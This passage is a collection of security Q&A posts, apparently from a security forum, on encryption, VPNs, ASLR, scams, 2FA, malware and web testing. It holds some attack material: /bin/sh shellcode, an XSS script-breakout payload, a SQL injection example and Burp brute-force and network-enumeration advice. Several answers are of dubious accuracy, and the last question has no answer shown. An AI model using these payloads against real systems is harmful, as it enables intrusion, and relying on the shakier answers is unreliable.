You don't need several tools from a single category, but you may want one from every category as they work against different problems. While some tools might coincidentally end up doing tasks of another tool, this layering becomes handy when you whitelist a page on one tool. Say you want to disable your ad blocker on a media streaming site to be able to watch a video, or trust a site to run scripts mandatory for it to work properly, but the Privacy Badger still removes tracking elements etc.


How can I explain to non-techie friends that "cryptography is good"? After that case in which Brazilian government arrested a Facebook VP due to end-to-end encryption and no server storage of messages on WhatsApp to prove connection with a drug case, it's become pretty common for friends of mine to start conversations about what cryptography is and why we should use it on a daily basis. The same applies with the iPhone terrorist encryption case in which the FBI broke in.

For non-techie friends, it's easy to understand the basics of cryptography. I have managed to explain them the basics, public key x private key, what is end-to-end encryption during communication(your data is not stored encrypted, but it is "scrambled" during data exchange), all the core concepts without enter on more technical words like AES, MD5, SSL, PGP, hardware encryption acceleration, TPMs, etc. They like to have encryption on their phones, but they always come up with the following concept:

  If terrorists/criminals could be caught by not having cryptography in our world, I would not blame data surveillance by governments and companies, nor the lack of cryptography in our communications/data storage.

I explained that this point of view is somehow twisted (as a knife can be used to do crimes, but its primary use is as a tool), but I didn't keep their attention.

Is there a best way to explain the value of cryptography for end-users in our modern world? (Snowden and Assange stories seems like fairy tales to them too).

Compendium: Some of the explanations/concepts that didn't work so far:

Would you let the government have a copy of your house key?

People tend to isolate data from house access, and they clearly would say "no, i do not want the government to have a copy of my house key and watch me doing private stuff. But if they are looking for a terrorist/criminal, it's fine to break the door". For them, it's okay since they don't break in your house while you are pooping. The existence of a "master key" on encryption world is fine to them. "My information is encrypted, but it could be turned into plain again in case of terrorism/crime".
Would you let others trace your life based on what you do online?

"But Google already does that based on emails and searches...". This mostly shocks me, because they are "with the flow" and they aren't bothered with data mining. Worse, people tend to trust way too much on Google.
What about the privacy of your communications? What if you are talking dirty things with your boy(girl)friend?.

"I don't talk about things that would harm others(criminally speaking) so, i don't mind on being MITM'ded.". Again, it's fine to them if a conversation about their sexual routine is recorded, if the intent is to investigate criminal activity on their city.
The Knife paradox.

You can see on their faces that this is a good one, but instead, they say that "knifes aren't as dangerous as secret information being traded between criminals so, it's okay that Knifes are misused by criminals sometimes".

"If lack of encryption allows FBI to catch terrorists, then lack of encryption allows criminals to loot your emails and plunder your bank account."

The rational point here is that technology is morally neutral. Encryption does not work differently depending on whether the attacker is morally right and the defender morally wrong, or vice versa.

It is all fear-driven rhetoric anyway, so don't use logic; talk about what most frightens people, personally. And people fear most for their money.


binding to loopback interface secure enough i have a unsecured and out of date application running inside a docker container bound on the host device loopback interface that is only accessed by other applications running on that device, am i right in thinking this would provide an adequate level of security so that nothing external to the box would be able to access the application or know that it is even there? my thinking is you would need access to the device before you could ever get access to the application at which point you have bigger problems.

From my interpretation of this post it may be possible to blindly submit requests to it without receiving a response if you were directly connected to the device (or maybe not as loopback device has no mac address) but that is the only possible downside i have found to relying on the loopback interface to secure something and as it's a HTTP application which would run over TCP this post seems to suggest even that is not possible.

In general binding to localhost can provide a level of security in that the application is not generally reachable from other processes unless they run on the same system.

How much practical security that provides you somewhat depends on the security of any other applications running on the host.

For example an SSRF vulnerability in another application could lead to an attacker being able to submit requests to your application.  Whilst in many cases this would have to be done blind, I have seen examples of SSRF which allow the attacker to see responses to request made.

Obviously also if there are vulnerabilities on other applications running on the host (e.g. command injection/SQLi) then that'd likely be bad as the attacker may be able to get access to the localhost interface to send requests.


Any reasons to why not use randomize_va_space? I've been looking a bit into kernel options for hardening, and there is one that seems to be a good idea to deploy - randomize_va_space. But before I activate that feature I started a google search, and I found mainly descriptions on how to turn it off. Usually without reason, but the few reasons I saw where "it slows down", but that was an old thread, or some college kid wanted to try out some self-written buffer overflow.

Are there any good reasons, as in problems that this kernel parameter causes, to not activate the feature?

When debugging some C code, especially tracking down after-free-accesses bugs, address space randomization is quite inconvenient, because it makes bugs non deterministic. By turning it off, you can much more easily reproduce the issues. That's a good reason to turn it off on development machines (as opposed to production systems).

As for the slowing down, there is a theoretical effect due to the spreading of "interesting addresses" over a larger space. Since the MMU on x86 hardware uses forward tables to represent the address space (a mapping from virtual space to physical space, contrary to the reverse tables used in recent PowerPC processors), it can be predicted that address space randomization will induce slight additional pressure on the caches (more cache memory will be used to read parts of the MMU tables). However, as for all performance-related issues, I strongly suggest that such a slowdown should be duly measured and confirmed before taking harsh measures. In other words, turning address space randomization off is worth a try if you are desperate for performance on a given system, but it should not matter much on average.


What can scammers see on my devices after I delete the remote desktop software? I got a call from a call centre today which convinced me that they were calling from BT. They made me download TeamViewer which was unresponsive so I downloaded supermo instead. After this they gained access to my computer and asked me to login into my online banking. However I realised that they gained access onto my laptop as the mouse was moving so I logged out of my internet banking and immediately changed all my passwords and username using my tablet. I then closed down the supermo app that they made me download and I can see that no one is controlling the mouse.

After closing this app can the hackers still control my laptop? Could they see and control what I am doing on other devices even if I haven't downloaded the supermo app on these devices?

Firstly, well done for realising that you were in the middle of falling for a scam. Changing your online banking details immediately on another device was wise.

  After closing this app can the hackers still control my laptop?

Probably not. But it is possible, if they were able to install additional software on your computer while they had access. (Since you could see everything on the screen while this happened it's not likely, but it's not impossible.)

Most scams like this one are not using sophisticated hacking tools and techniques, just good ol' fashioned confidence tricks and scams. Most, but not all. If you are genuinely concerned, back up your personal files and documents and reformat your computer. (Yes, that's the best way to be sure, even if it's inconvenient. You effectively gave a malicious person complete access to your computer as if they were you, even if only briefly.)

  Could they see and control what I am doing on other devices...?

No. Even if your home computer is compromised, if your bank has half-decent security practices at all, then the connection between your tablet and your bank should be secure. (Email is a notable exception to this -- anything you send or receive in an actual email can be intercepted by an attacked who could be bothered, but hopefully you didn't use email to change your username and password.)

Other things to worry about: If the scammers asked you any "verification" questions like a bank etc would ("Can you confirm for me the last four digits of your social security number/the number on the back of your credit card/your date of birth?" etc), then you are now at serious risk of identity theft, especially since they now know your bank, bank account details, balances, recent transactions, everything that was visible on your screen.

Either way, you must contact your bank to inform them, and change your security/verification questions to something that cannot be answered from the information they now have, or found out about you online (any information online, you are now extremely easy to find for them). Often identity theft is the real goal of these scams, because it's much more lucrative than just tricking you into giving them money once or twice.

Once again, well done for shutting the scam down partway through. Best of luck.


Is my company VPN the same as third-party VPN providers? I'm just a bit confused with VPN. My company has VPN when I work remotely. So, I can access internal websites. However, does it mean if I browse my Internet over my company VPN, it will be as secured as getting a third-party VPN provider? In terms of sniffer.

It depends on how the VPN is set up. One of the possible setups is the following:

VPN connection to allow remote access to internal network servers of the company, but all other traffic is direct from you to the internet (so not routed through the VPN).
All traffic is routed through the VPN making all traffic between you and the company secure. All other traffic is secure from you until the first hop of your company's VPN server but from there on it's plain internet.

Without more information / testing it's impossible to tell how your setup is or if your company uses 1 of these schemes or a different one (there are a few  more that are basically somewhere in between these 2).


Is DNSSEC vulnerable to (remote) timing attacks? I wondered if DNSSEC would be vulnerable to (remote) timing attacks, unlike TLS, signatures don't have to be recalculated each time. So how would you be able to exploit timing information in the first place?

Also see this quote:

  Can’t DNSSEC support Elliptic Curve as well as RSA?

  The NIST P- curves are most probably not backdoored, despite their
  reliance on a magic number generated at NSA. But their curve structure
  is old and error-prone. They are difficult to implement in “constant
  time”, to stop attackers from measuring the time operations take to
  learn secret keys.

Source: https://sockpuppet.org/stuff/dnssec-qa.html

I agree with your argumentation, i.e. I don't think that DNSSec is vulnerable to timing attacks in most cases (see edit below for when it might be vulnerable). Cryptographic operations are only done when records get modified, added or removed or if the keys get changed but not when answering a DNS query. Since the attacker can only control the DNS query but not the change of records or change of keys he can not observe the timing of the cryptographic operations and thus cannot use timing attacks against these.

EDIT: Habbie@ correctly pointed out that some providers like Cloudflare use online signing and that thus the attacker might actually trigger a signing operation (see comments for details). In this case a timing attack might maybe possible in theory. I don't know how well this would work in practice, i.e. how sensitive the timing need to be and how many signature operations need to be triggered. crypto.stackexchange.com might help with more details here.


How secure is WebPack? If NPM packages are so vulnerable as described in this article, is it acceptable to use WebPack for web-applications, in which security is a priority?

Edit: when using WebPack you should use NPM-packages (with a lot of their dependencies and sub-dependencies), but in "classic" websites you usually download 3rd party libraries from official sites, and update them only when you really need, which seems to be much more secure

The problem is independent of what technique you use to obtain your JS libraries. It doesn't matter if you use NPM packages, web-pack or manually copy&paste a folder of .js files. The problem is with using 3rd party code from untrustworthy sources and putting them into your web application without making sure they don't contain any malicious functionality.

When you decide to use 3rd party libraries in your web application, make sure that:

It's a trustworthy project with a good reputation. Is jQuery trustworthy? Is Angular trustworthy? Is PhilippsSuperReliableCreditCardValidator.js trustworthy? Which projects seem trustworthy to you and which don't is a decision you need to make for yourself.
You download the files from the official server via an authenticated and encrypted connection (which tool you use for that purpose is secondary)
You keep the copies of the libraries on your own server. Don't download libraries from an offsite source on page-load.


Need to access old forgotten router that only supports SSLv3 I need to access the web interface of a router standing here in the office.
The problem is that it only supports SSLv3 and I cannot find a browser that allows me to connect to it. In order to update the router, I also need to be able to login to it.

I tried to SSH into it, but it does not work. Maybe it is using some non-standard port.

Running a (limited?) port scan using 'fing' I see it has the following standard ports open:

515 (LPD printer)
1723 (PPTP)

What browser can I use, or what other options do I have?

Unable to Connect Securely

Firefox cannot guarantee the safety of your data on 192.168.1.1:10443
because it uses SSLv3, a broken security protocol.
Advanced info: ssl_error_unsupported_version

Internet Explorer 11 supports it, but you have to go to Advanced options Tab to enable it.


Shellcode for higher file privileges I'm learning exploits from the book Hacking: The Art of Exploitation. The shellcode below was written to enable higher privilege access to files.

\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80
\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62
\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80

However it sounds the shellcode doesn't work for the addresses, on my computer (with NOP sled) 0xffffd9e2 repeated 40 times since the author wrote the shellcode in the book for 0xbffff6f6. I wonder if I need to write a specific shellcode for 0xffffd9e2.

In Windows, there can be a problem with kernel adresses. Each service pack has different kernel addresses. I'd suggest taking "cross platform" shellcode from exploit-db.com or packetstormsecurity.org


2 Factor Authentication -> When to Request it? I am wanting to implement 2FA in my application. I am a relatively new developer (~1 year Spring Boot / Android).

At the moment, my App uses Spring Security AuthenticationProviders to authenticate a user only by their username/password combo using BCrypt as the hashing algo.

With generally looking online, I can't seem to find a "clear" when to challenge a user for a 2FA code.

My questions are:

Under what circumstance(s) do you request a 2FA code?Only if the UserAgent string has not been seen for that user before
? The UserAgent && IP not a seen combination before?...Or when/with what combination? (Machine learning out of question...noobie here).
Should the user account be locked/disabled always requesting a 2FA code for EVERY subsequent login attempt if the first 2FA code inputted fails until a correct 2FA/Username/Password combination is given.
I guess a rate limit on how often a new 2FA is generated is a standard to prevent some form of DOS attack?

Any links or clearer "best practice" would be greatly appreciated!
Thank you.

In my experience, a clear "best practice" for when to prompt for 2FA does not exist. What you're really asking about is a "risk algorithm" to determine when a login or session resumption is "high risk" and should be challenged with 2FA. Different vendors have different algorithms which are treated a bit like trade secrets. There are in fact companies who do nothing but sell MFA platforms, and their entire business value is about having a clever risk algorithm for when to prompt for 2FA.
So IMO unfortunately there is no simple answer; but there's lots of room for creativity here!
Some "factors" to think about:

Time-based: how long since I last saw them?
IP / user-agent: is this a machine I recognize them from?
Geo-IP: Is this a location I recognize them from?

The longer you think about it, the more factors you can come up with that might be relevant to the risk algorithm.
To make it even more confusing, some apps have a low barrier to, for example, resuming a previous session, but will prompt you for a full 2FA flow if you access your account and billing page.


"" is filtered, is there any way bypass it? I found that the characters; < and > are filtered (shown as: &lt; and &gt;), when I pen test for a website.

Is there any methods to bypass < and >?

&lt; and &gt; are the correct ways to display the characters < and > in an HTML context.

(There are places where just escaping <>&" isn't enough—for example unquoted attribute values, or JavaScript nested inside HTML. Do you have that?)

You would usually use the term “bypass” when you know/suspect there is a vulnerability, but something else is getting in the way of exploiting it. For example, when an application fails to escape < properly to &lt; but has a lame input filter than stops you typing <script; there are various possible ways to work around that kind of measure depending on how the code is structured.

But from what you have said there is no evidence  that there is any vulnerability present at all. Displaying < from user input as &lt; is exactly what you would expect from a properly-written HTML-generating application.


Providing data integrity with AES A question for an exam asks me to provide data integrity of a file F with AES and a shared secret key between Alice and Bob, if there is a way. The message is sent by Alice to Bob.

I thought of the following protocol:

Alice sends to Bob (Ek(F||k), F), where Ek means the encryption by AES with the secret k of the file F concatenated with the secret k.
Bob receives the message, takes F, concatenates k and computes AES. If equal, he accepts the message, if not he rejects it.

Could this approach work well?
What could the attacker do?

provide data integrity of a file F with AES

One way to create a MAC from a block cipher is cipher block chaining message authentication code (CBC-MAC).

  I thought at the following protocol

I would think there is some way that you learned during the course. Such questions generally don't intend for you to come up with your own scure crypto protocol.

  Could this approach work well? How could the attacker do?

Basically you use the encryption of the file as the MAC. This is secure, but impractical. Your MAC would be about as big as your file, which doubles the size of every transfer.


Brute force email in JSON format I have a parameter

args=[490114,{"user_login":"user@example.com","":"","perm":"view","partners":[],"event_labels":[]}]

in the HTTP request but in the encoded format.

I want to brute force this email using burpsuite but i get error code 400 bad request. The reproducible steps are:

I intercept the request with burpsuite and send the parameters (args) to intruder and choose only it
I copy and paste the payload several times changing only the email value in the payload (to test the operation)
Launch the attack

But I get error code 400 bad request. I don't know why.

The Error Code 400 means that the request was malformed. This means the request sent by the client(you, using burpsuite) to the server didn't fit the 'rules' of http.

In the case of a REST API with a JSON payload, 400's are typically used to indicate that the JSON is invalid in some way according to the API specification for the service. Which you didn't supply in your question. Maybe if you give some more information, i can answer more detailed. Meanwhile i suppose that the 400 is correct behavior indicating that this request is malformed in some unspecific way. I think 400 is the intended response for a nonexistent email in this JSON-request.


Blocking network access to host(s) at the kernel level in Linux? Getting it out of the way: Not iptables!

What I'd like to do is block network access to certain IPs, subnets, and/or hostnames at the Linux kernel level, such that no user, including root, could bypass them once the system is running.

I actually do have a specific need for this, but I won't get into the details since it doesn't change the question.

Additional restrictions:

Is running unvirtualized on bare-hardware.
No access to upstream networking devices.
Not running SELinux (but feel free to give responses that use SELinux for the benefit of others).

Ideally root would be unable to remove the access restrictions in any way, but if root were still able to remove them in extreme ways such as directly overwriting in-memory structures, that would still be ok.

Filtering arbitrary connections could be done with a kernel module by hooking netfilter.  And anything done in kernel land with a kernel module,  can be undone with a kernel module.  Also,  nothing is keeping root form just installing their own kernel...

root is GOD,  never forget that.


Dos Attack and other malwares! I have been experiencing DoS attacks: ack scan and rst scan.

Now I know these are supposed to be normal and the internet works that way but I experience severe internet disconnection when that happens. I tried to check all the ports I have open using curports  and there were some named "EXPLORER.exe".
I was not able to close them.

Is that normal?

Also I used malwareBytes to find out if there were any malware, but it did not detect any.

Is it possible my PC is still affected?

It isnt normal that your are experiencing DDOS attacks. Try using Wireshark or another network sniffing tool to look for Botnet traffic. IF you boot Wireshark and use the filter

  dns.flags.rcode == 3

If Wireshark is returning a lot of failures a good bet would be to set up a IDS such as Snort and create a rule to block the specific traffic.

However different botnets use different ports so this is not a sure bet. Unfortunately there is no "find all" button on Wireshark but this is a good start.

Check out HoneyNet for further info on the subject of capturing the Botnet traffic.

EDIT: Snort: https://www.snort.org/
      Wireshark: https://wireshark.org/


What HTTP status codes indicate that there is a SQLi vulnerability? In this blogpost describing a pentest, the author adds ' to a field requiring some value, and concludes that there is an SQLi vulnerability:

  Upon further investigation adding a single quote would make the server
  return a 500 status error, which.... SCREAMS SQLi

Does an HTTP 500 code mean it is vulnerable to SQLi? Or do all HTTP error codes mean it is an SQL injection? Which HTTP code do not mean an SQLi?

There are no error code for sql injections. HTTP status code 500 just means an internal server error. When being able to break the code by just adding some special characters, the code is vulnerable to a SQL injection as the input is not sanitized,

For example:

$sql = "SELECT * FROM mytable WHERE name = '$name'";

When adding "Jose's" into the field, the SQL statement would be:

$sql = "SELECT * FROM mytable WHERE name = 'Jose's'";

which would be an error in the syntax.

If the input is not sanitized you could now add additional SQL statements after the ' and therefore run your own sql statements.


Is VPN the only way to stop my ISP from logging my traffic? I do know that my ISP is keeping logs permanently, which I'm not comfortable with because I like my privacy.

Having said that, is VPN the only option to prevent my ISP from logging my traffic?

The reason why I don't like VPNs is that a) they slow down my workflow, b) I can't afford the non-free ones.

When you use a VPN service, your provider won't be able to log anything except encrypted communication with the VPN service. However, the VPN service will be able to log all of your traffic instead. Whether or not this is better depends on who you trust more: your ISP or your VPN provider.

An alternative to VPN providers is TOR. It also encrypts your traffic and proxies it through other users. But keep in mind that the exit node can see your connection in clear-text. Even though it doesn't know your IP address it might be able to deanonymize you as soon as you transmit private information. Unfortunately TOR is quite slow, even compared to cheap VPN providers.


Generate pair of large primes with openssl library in c I am new to openssl library and from what I could understand it is possible to generate large primes say 512 bit using the command line argument :openssl prime -generate -bits 512.
But I am not sure how can I do this using a C code?

I tried using system() command to generate prime using following code:

int main()
{
  char c[50];
  strcpy(c, "openssl prime -generate -bits 512");
  long long p = system(c); // IS THIS POSSIBLE??
  return 0;
 }

But I have read there are some security concerns on this as given in this link here

So is it possible to write this large prime generated in a text file or something so that I can use it later in my code.

My final motive is to generate two large prime numbers of order 512 bits.

If you want to know how you can do the functionality of openssl prime -generate in C code have a look at the source code of OpenSSL which is open source and easily accessible. Specifically have a look at apps/prime.c which implements openssl prime. There you can see that BN_generate_prime_ex is used to generate the prime:

if (generate) {
    ...
    bn = BN_new();
    ...
    if (!BN_generate_prime_ex(bn, bits, safe, NULL, NULL, NULL)) {
        BIO_printf(bio_err, "Failed to generate prime.\n");
        goto end;
    }


How to securely host downloadable source code As a follow up to The most secure way to allow downloading and installing an app on Mac, Windows, or Linux, I am wondering how one (such as I) may go about creating a new framework for hosting packages in a secure way. Ignoring the question of whether or not you should reinvent the wheel, I am mainly wondering for a learning exercise. In addition, I am wondering how sites like docker, homebrew, etc. might provide a more secure and robust way to download their app. Currently, homebrew is this:

/usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"

Docker is a download from the website

VMWare Fusion is straight from the website too. VSCode is too. That is, none of these apps (I can't think of any apps I use actually) are from the Mac App Store. Sublime. Atom (Atom is at least on GitHub). etc..

If I wanted to simply provide a shell script to install the program, how could I go about securing it properly?

Say the shell script downloads another few shell scripts, which then download either an .exe, .app, or .iso depending on the platform however. What steps should be put in place to make this secure. That is, not using any third party package manager or publishing solutions, doing it all yourself. I'm guessing I'd do it similar to how the Linux Y project does it (referenced in the answer to the question at the top).

Create an MD5 hash of the source code.
Publish this MD5 hash somehow in some guaranteed secure way (I don't see how you can prevent hackers who have compromised your site, from compromising this MD5 hash).
Let the user curl <path> the script, then less <script> to see the contents, etc. Then to somehow fetch the MD5 hash from some remote server I have to compare it. How does Linux Y project do this?
Perhaps submit some final statistics to let us know the download completed safely as expected, I don't know.

Wondering if one could quickly/briefly outline the steps I would need to take to host such a download/install script so that it was optimally secure, without using any third party tools. That will help me get a deeper understanding of how this all works.

Basically I'm wondering how these third party package manager solution thingy's are considered secure. What exactly did they do that I could do too?

As a sidenote, I would like to provide two ways to download. Either the shell script curl method, or the download the package directly. But in either case I want to let them know that they should still inspect everything in case of tampering. But I don't know what that inspection process really looks like, and so am a ways off from understanding how to construct a system for aiding in security/protection too.

As it was said in the answer to your other question (that you linked yourself), "Check sums (and cryptographically secure hashes) only ensures integrity", but naturally only to the extend you can trust them. If somebody compromises the server your program and the check sums/hashes are stored on they can modify both, and the integrity is then limited to "this program hasn't been modified since this hash was generated". But you do have some protection against problems on the network (working as a man-in-the-middle it's a little harder to modify the program and the hash so they still match).

If you want to do a little better you make sure the hashes are available elsewhere, you can create a repository for your program on github (I don't know their terms, and thus not whether this would be violating them, making this bad advice) putting them in a file there.

Even better you could cryptographically sign the program, publish the signature and tell people to verify that what they are about to install is signed by you.


Why protect files with sensative information with .htacces? I was taught that an important step to securing a website (primarily with PHP) was to store all sensitive information such as database connection info, salt generation, etc. in a separate file(s)/Folder(s) and use .htaccess with something like deny from all to prevent access to that information, and otherwise unauthorized access to the site/database.

My question is, to what extent is this helpful? In my web environments those files cannot be accessed/downloaded (that I know of). There is no web based file explorer to access that information, and so long as the information isn't printed to the screen, why does access to those files need to be restricted beyond that?

So you're storing database passwords and cryptographic secrets in a file within the web root, possibly because low-end web hosting has no other storage for these secrets. Entering this file's name as the path in an HTTP GET request will retrieve its contents. Even if you provide "no web based file explorer", a malicious user may still end up correctly guessing the name of this secret key file unless its name is cryptographically random. Or someone who knows the file's name may leak the name to a malicious party.

The .htaccess file in Apache HTTP Server, or analogous files in other web servers, is designed to prevent direct access to a file through the web even if a client knows its name. This is helpful in two situations:

Say you store secrets in a JSON file that your PHP script loads with file_get_contents() when it starts. The .htaccess would block a user who keys in the URL of this JSON file.
Say you store secrets in a PHP script containing assignments to global variables, which your PHP script includes with require_once when it starts. For example, MediaWiki's LocalSettings.php uses this approach. Normally, a variable-setting script would fail to produce any output. But I've seen occasional situations where mod_php or the CGI handler accidentally fails to load, which causes Apache to instead serve PHP files as plain text, including your secrets. The .htaccess would block a user who keys in the URL of this PHP file.

But be careful: .htaccess does not prevent access through a script, such as if a script takes a filename as an argument and returns the contents of that file. So make sure all scripts that read files with variable names, such as image-serving scripts, sanitize their paths by canonicalizing them (realpath() and friends) and then limiting them to a specific directory.


How can you enumerate an internal network with minimal outside knowledge? The scenario is that you get to plug your laptop into an Ethernet port in some building. You get an IP address (DHCP) and can access the internet.

Right out of the gate you know your IP, gateway, and subnet mask, and you can do an ARP scan to identify hosts on the immediate subnet. What about other internal subnets that you may have access to now that you didn't from the internet?

I am looking for what kinds of tools or technologies you could use to identify these networks.

Some ideas:

passively listen for any broadcasted traffic that happens to go to a different subnet (this seems unlikely on a switched network).
check the publicly known ARIN blocks to see if any are reachable internally that were firewalled from an external perspective.
zone transfer may be allowed internally that could identify other servers on other internal subnets.

What did I miss? Of the above strategies, what works best in your experience?

Those are pretty solid ideas. However, I think you're overthinking this. I'd start with something like nmap, angry IP, or some other network scanner against internal (non-routable) address blocks. Zone transfer or scripting rDNS is also worth a shot. You can get a lot of info out of DNS.


Verifying one specific attack vector of Cross Site Scripting Burp suggests that there is a reflection.. It changes a value of a cookie named as x as x=<script src=abc.js> and in response this value gets injected to a javascript function..

<script type="text/javascript">
fnUseX('arg1','<script src=abc.js>');
</script>

I tried a few scripts and looks like characters such as / and ; are blocked.
Does this confirm the presence of cross site scripting? How we could actually exploit it? Are there any HTML5 XSS vectors which could be tried here?

This looks like it could be exploited using a cookie value like this

</script><script>alert(1)</script>

Try setting it manually and see if it fires the alert.


How are two systems able to set up a secure SSH tunnel over a public connection? As I understand it, when two systems create a secure SSH tunnel, the first step involves communicating the 'guidelines' for the encryption of that tunnel.  If an third system is able to listen in on this initial conversation, wouldn't it be able to decode all of the data that is sent through the tunnel?  How is the tunnel secured if the initial conversation is conducted across a public connection?

Though the question is about SSH, the same concept as in SSL apply, so see this answer which explains it all.

Short summary: it's magic. Asymmetric cryptography magic, to be precise.


Malware (internet connectivity) and defending against it I was wondering whether anyone knew if malware could spread without internet connectivity? Also, can you defend against malware by releasing counter-malware that spreads exploiting the same vulnerability, but upon infection uninstall the original malware?

It depends which malware and what it was designed to do.

If the malware author wants so, the malware could either attack other computers on the network (not necessarily Internet, just two computers connected to a network for example to share files) and try some exploits on them, in hopes that one of them isn't patched on the target machine and thus that machine gets infected which in turn will attack others, and so on...

Another solution would be to silently leave "surprises" on storage drives connected to the infected machine, that is copies of itself with an autorun.inf to make it execute automatically (or with some social engineering like making the icon and file name mimick an installer or a video player so people execute it themselves) once the drive is connected to other machines.

Yet another solution would be to leave "surprises" in the firmware of connected devices, which often makes the devices appear as keyboards that will type in malicious commands (often to download the actual payload from a remote server) as soon as they're plugged into another machine.

Of course all of these techniques can be combined together.

About releasing counter-malware, it may work, but there are several issues :

even if this "malware" isn't as evil as the other malware out there, it still exploits your machine, installs on it and then tries to exploit other machines to replicate itself and so on... even if it's for a good cause, it still turns your computer into a zombie that will "attack" other machines and waste bandwidth/resources
malware authors develop them for money (often so they can rent parts of their botnet to other cybercriminals for DDoS, spamming, proxying, etc); what incentive does someone have for making the "counter-malware" you propose ?
I don't know if this is actually frequent with common malware found in the Windows world, but the evil malware can, in addition to being evil also patch the vulnerability itself so that neither "counter-malware" nor rival attackers can "steal" their newly compromised machine
the only reliable way to clean up a compromised machine is to reinstall it from scratch which your counter-malware can't do as it requires physical intervention on the machine

Finally, OS developers provide equivalents of this "counter-malware" in the form of updates.


How to tell if a commercial program is malicious? Could anyone tell me if there's a way I can trust an application I'm running on my computer. Like a video game, for example, or the launcher of that video game.

How can I know if, Counter-Strike for example, did or is doing anything malicious?

I understand that some big video game titles might be safer for how many people experiment with them and for other reasons, like them not wanting to risk the huge commerce value they have by breaching user's privacy. I'm trying to know how are they practically trusted and if there's any way those apps' activities are seen and examined fully or if there's a chance something is not being detected.

A big video game title can have the guise of commerce, but be for the same reason the best method to spy on people in big numbers.

I'm worried of things like, for malicious intents, stealing login credentials for other unrelated services that I use, seeing my PC's name or username, my network's name, my emails, my social media accounts, my documents, my pictures and files in general, getting access to microphones or webcams, using my PC as a proxy for anything malicious, setting up remote access, or anything very malicious that I might have not thought about.

Some of those breaches is not a big deal, but some are really things I don't want to risk.

I remember reading somewhere that there's no way at all of knowing what an exe does on a computer. How true is that?

Is there any easy safety measures I can take? Do popular games like those get examined thoroughly by experts? I want to trust those apps. How can I do so?

I wonder if anything malicious caused by something like I mentioned happens, then could it cause the computer to be forever ridden with whatever it caused? Or is that too difficult for an application to cause?

If such apps were examined by the best experts, then how likely is it that something goes undetected?

How can I look for suspicious activity of an app? Can I analyze the thing myself? How reliable can a beginner's analysis (mine) be? Or does it rely more on the tools used?

I remember reading somewhere that there's no way at all of knowing what an exe does on a computer. How true is that?

As much I wish there was a magic .exe problem-finder program, there isn't. If you really are worried about what an .exe file will do to your computer, run it in a VM (though VMs aren't completely safe) or on a computer or laptop you don't care about.

  Is there any easy safety measures I can take? Do popular games like those get examined thoroughly by experts? I want to trust those apps. How can I do so?

I would like to pose another question to answer this one. Let's purpose that Blizzard's World of Warcraft had a piece of malware in it that stole the credentials from it's users, just their username and password for their laptop or computer. What would Blizzard do with that information? Would they sell it to malicious people? Keep it to hack into people's bank accounts? No big company, in my humble opinion, would do something like that. It just doesn't make a whole lot of sense for them. Even if they didn't do anything with that information, and rather just sat on it, there would be an outcry from consumers if they ever found out about the malware. Not to mention, all the legal problems they would have would be tremendous.

  I wonder if anything malicious caused by something like I mentioned happens, then could it cause the computer to be forever ridden with whatever it caused? Or is that too difficult for an application to cause?

Malware comes in all shapes and sizes, of different intensities and methods. Sometimes all you need is your Windows Defender to kick in and clean up whatever virus you have. Sometimes you get something like a rootkit, which is stored so deep in your computer that the only way to really get rid of it is the nuke it from orbit. This question is really to broad to answer.

  If such apps were examined by the best experts, then how likely is it that something goes undetected?

No one is perfect, though if it's examined by "experts(?)", you can probably bet there isn't anything malicious going on. Of course, it always happens that every once and a while something might be missed, but I would say that if someone well versed in security looked at a program and deemed it OK, there is probably a 99% chance that it's going to be just fine.

  How can I look for suspicious activity of an app? Can I analyze the thing myself? How reliable can a beginner's analysis (mine) be? Or does it rely more on the tools used?

Sometimes malware is so sneaky that even people that know what they're doing can't find it. That being said, if you notice that your internet is particularly slow as of late, or ads are popping up on your desktop, you'll probably realize something is wrong. But again, big programs or games like these most likely won't have anything suspicious going on.


Can I know who tried to login to my Google account? I recevied a notification that someone tried to access my Google account and it was denied, so i quickly changed the password. Google tells me the IP number in the notification and a location. I wonder if I can know the specific location or who it might have been (their social media or any other type of information)?

No, there is no way for you to know who it was. Might not even be a person, could just as well be a hacked computer that is part of a botnet trying to brute force random accounts.

The IP could tell you what ISP the person uses, and a vague geographic location that is not very precise. But that is only if who ever it was didn't use a VPN, Tor or some kind of proxy. So in practice even that info might be wrong.

Really, I wouldn't care to much about this. Make sure you have a strong password that you don't reuse and turn on two factor authentication. Stopping people from gaining access to your accounts is a much better strategy than trying to track down those who tried.


How do I Mitigate Directory Traversal when User-Supplied Input is a Mandatory Business Case? I have an instance where we have an application that requires the ability to set up sftp commands that are specified by administrative users.  They are configured through the front-end of the application.  Veracode has correctly identified a directory traversal attack here.

I work for a B2B company, and this sftp process is for our clients to send/receive files specifying directory structures on their own system.

The connection is handled through an API and the current library correctly escapes data as input (i.e. if I send "../ && rm * " it gets treated as a directory to "cd" to.   The target file to be copied IS controlled explicitly by the system--but that doesn't mean its always the case.

But short of blacklisting certain directories paths like "../" I'm lost as to other strategies at the application level I can possibly use to prevent this attack.

Additional information

I might have miscommunicated:  The issue is that our application runs on our servers as its own instance.  Chroot jails is fine on our end, but what about the client's server?  The business logic is that we'll deposit file(s) to a directory on a system they specify.  We have no control over that, and they should have the flexibility to be able to specify precisely what directory they want our application to deposit their files.

I don't like blacklisting approaches because you never know what you missed.  And in theory, this process could be set up to point to a Windows box instead of a unix box, and then there's two sets of blacklist rules you suddenly have to code for--not to mention environment detection on the remote server.

chroot jails.  Each client should connect to a directory hierarchy that cannot be traversed to a) the system or b) other clients.
Input validation.  Yeah, you should blacklist things like ../, $, *, etc.  If you've got control over the API, you can do even better, such as test for directory existence before trying to pass it to cd.  As defensive programming goes, this isn't rocket science, so yeah there's a little drudgery, but it's the right thing to do.


What is SHA-3 and why did we change it? On the 2nd of October NIST decided that SHA-3 is the new standard hashing algorithm, does this mean we need to stop using SHA-2 as it is not secure?

What is this SHA-3 anyway?

